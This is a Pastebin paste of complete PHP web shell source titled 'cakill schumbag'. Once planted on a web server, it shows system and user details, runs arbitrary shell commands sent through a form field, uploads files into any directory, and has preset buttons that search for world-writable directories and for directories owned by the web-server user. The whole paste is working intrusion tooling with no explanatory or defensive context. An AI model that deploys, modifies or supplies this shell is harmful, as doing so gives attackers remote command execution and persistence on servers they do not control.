Guest User

Untitled

a guest
Aug 10th, 2010
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.04 KB | None | 0 0
  1. <html>
  2. <head>
  3. <body text="#00ff00" bgcolor="#000000">
  4. <title>cakill schumbag</title>
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  6. <?php
  7. print "<style>body{text:#999999;bgcolor:#000000;font-family:tahoma ms;font-size:15px;}hr{width:100%;height:2px;}</style>";
  8. print "<hr><hr>";
  9.   closelog( );
  10.   $user = get_current_user( );
  11.   $login = posix_getuid( );
  12.   $euid = posix_geteuid( );
  13.   $ver = phpversion( );
  14.   $gid = posix_getgid( );
  15.   if ($chdir == "") $chdir = getcwd( );
  16.   if(!$whoami)$whoami=exec("whoami");
  17. ?>
  18. <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
  19. <?php
  20.   $uname = posix_uname( );
  21.   while (list($info, $value) = each ($uname)) {
  22. ?>
  23.   <TR>
  24.     <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?>
  25.       <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD>
  26.   </TR>
  27. <?php
  28.   }
  29. ?>
  30.   <TR>
  31.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  32.     <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</span></DIV></TD>
  33.   </TR>
  34.   <TR>
  35.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  36.     <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>
  37.     </span></DIV></TD>
  38.   </TR>
  39.   <TR>
  40.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  41.     <span style="font-size: 9pt">Permision Directory:</b> <? if(@is_writable($chdir)){ echo "Yes";
  42.  
  43. }else{ echo "No"; } ?>
  44.     </span></DIV></TD>
  45.   </TR>  
  46.   <TR>
  47.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  48.     <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?>
  49.     </span></DIV></TD>
  50.   </TR>
  51.   <TR>
  52.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  53.     <span style="font-size: 9pt">Current User:</b> <?= $user ?></span></DIV></TD>
  54.   </TR>
  55.   <TR>
  56.   <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>
  57.     <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD>
  58.   </TR>
  59. </TABLE>
  60. </b>
  61. </div></font></div>
  62. <?php
  63.  
  64. set_magic_quotes_runtime(0);
  65.  
  66. $currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);
  67. $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
  68.  
  69. $UName  = `uname -a`;
  70. $SCWD   = `pwd`;
  71. $UserID = `id`;
  72.  
  73. if( $currentWD == "" ) {
  74.     $currentWD = $SCWD;
  75. }
  76.  
  77. if( $_POST['_act'] == "List File" ) {
  78.     $currentCMD = "ls -la";
  79. }
  80.  
  81. if( $_POST['_act'] == "IP" ) {
  82.     $currentCMD = "/sbin/ifconfig|grep inet";
  83. }
  84.  
  85. if( $_POST['_act'] == "Proses" ) {
  86.     $currentCMD = "ps -wx";
  87. }
  88. if( $_POST['_act'] == "Memory" ) {
  89.     $currentCMD = "free";
  90. }
  91.  
  92. if( $_POST['_act'] == "777" ) {
  93.     $currentCMD = "find / -perm 777 -type d";
  94. }
  95.  
  96. if( $_POST['_act'] == "nobody" ) {
  97.     $currentCMD = "find / -user nobody -type d";
  98. }
  99.  
  100. if( $_POST['_act'] == "apache" ) {
  101.     $currentCMD = "find / -user apache -type d";
  102. }
  103.  
  104. if( $_POST['_act'] == "httpd" ) {
  105.     $currentCMD = "find / -user httpd -type d";
  106. }
  107.  
  108. if( $_POST['_act'] == "www" ) {
  109.     $currentCMD = "find / -user www -type d";
  110. }
  111.  
  112. if( $_POST['_act'] == "www-data" ) {
  113.     $currentCMD = "find / -user www-data -type d";
  114. }
  115.  
  116. print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";
  117.  
  118. print "<tr><td><b>Command:</b></td><td><input size=100 name=\"_cmd\"
  119.  
  120. value=\"".$currentCMD."\"></td>";
  121. print "<td><input type=submit name=_act value=\"Run\"></td></tr>";
  122.  
  123. print "<tr><td><b>Directory:</b></td><td><input size=100 name=\"_cwd\"
  124.  
  125. value=\"".$currentWD."\"></td>";
  126. print "<td><input type=submit name=_act value=\"List File\"></td></tr>";
  127.  
  128. print "<tr><td><b>Upload file:</b></td><td><input size=88 type=file name=_upl></td>";
  129. print "<td><input type=submit name=_act value=\"Upload\"></td></tr>";
  130.  
  131. print "<tr><td><b>Find:</b></td>";
  132. print "<td><input type=submit name=_act value=\"IP\"><b> <b><input type=submit name=_act
  133.  
  134. value=\"Proses\"><b> <b><input type=submit name=_act value=\"777\"><b> <b><input type=submit
  135.  
  136. name=_act value=\"nobody\"><b> <b><input type=submit name=_act value=\"apache\"><b> <b><input
  137.  
  138. type=submit name=_act value=\"httpd\"><b> <b><input type=submit name=_act value=\"www\"><b>
  139.  
  140. <b><input type=submit name=_act value=\"www-data\"></td></tr>";
  141.  
  142. print "</table></form><hr><hr>";
  143.  
  144. $currentCMD = str_replace("\\\"","\"",$currentCMD);
  145. $currentCMD = str_replace("\\\'","\'",$currentCMD);
  146.  
  147. if( $_POST['_act'] == "Upload" ) {
  148.     if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
  149.         print "<center><b>Error Upload Failed!!!</b></center>";
  150.     } else {
  151.         print "<center><pre>";
  152.         system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
  153.         print "</pre><b>Upload File Succes!!!</b></center>";
  154.     }    
  155. } else {
  156.     print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
  157.     $currentCMD = "cd ".$currentWD.";".$currentCMD;
  158.   system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
  159. /tmp/cmdtemp");
  160. }
  161.  
  162. exit;
  163.  
  164. ?>
Advertisement
Add Comment
Please, Sign In to add comment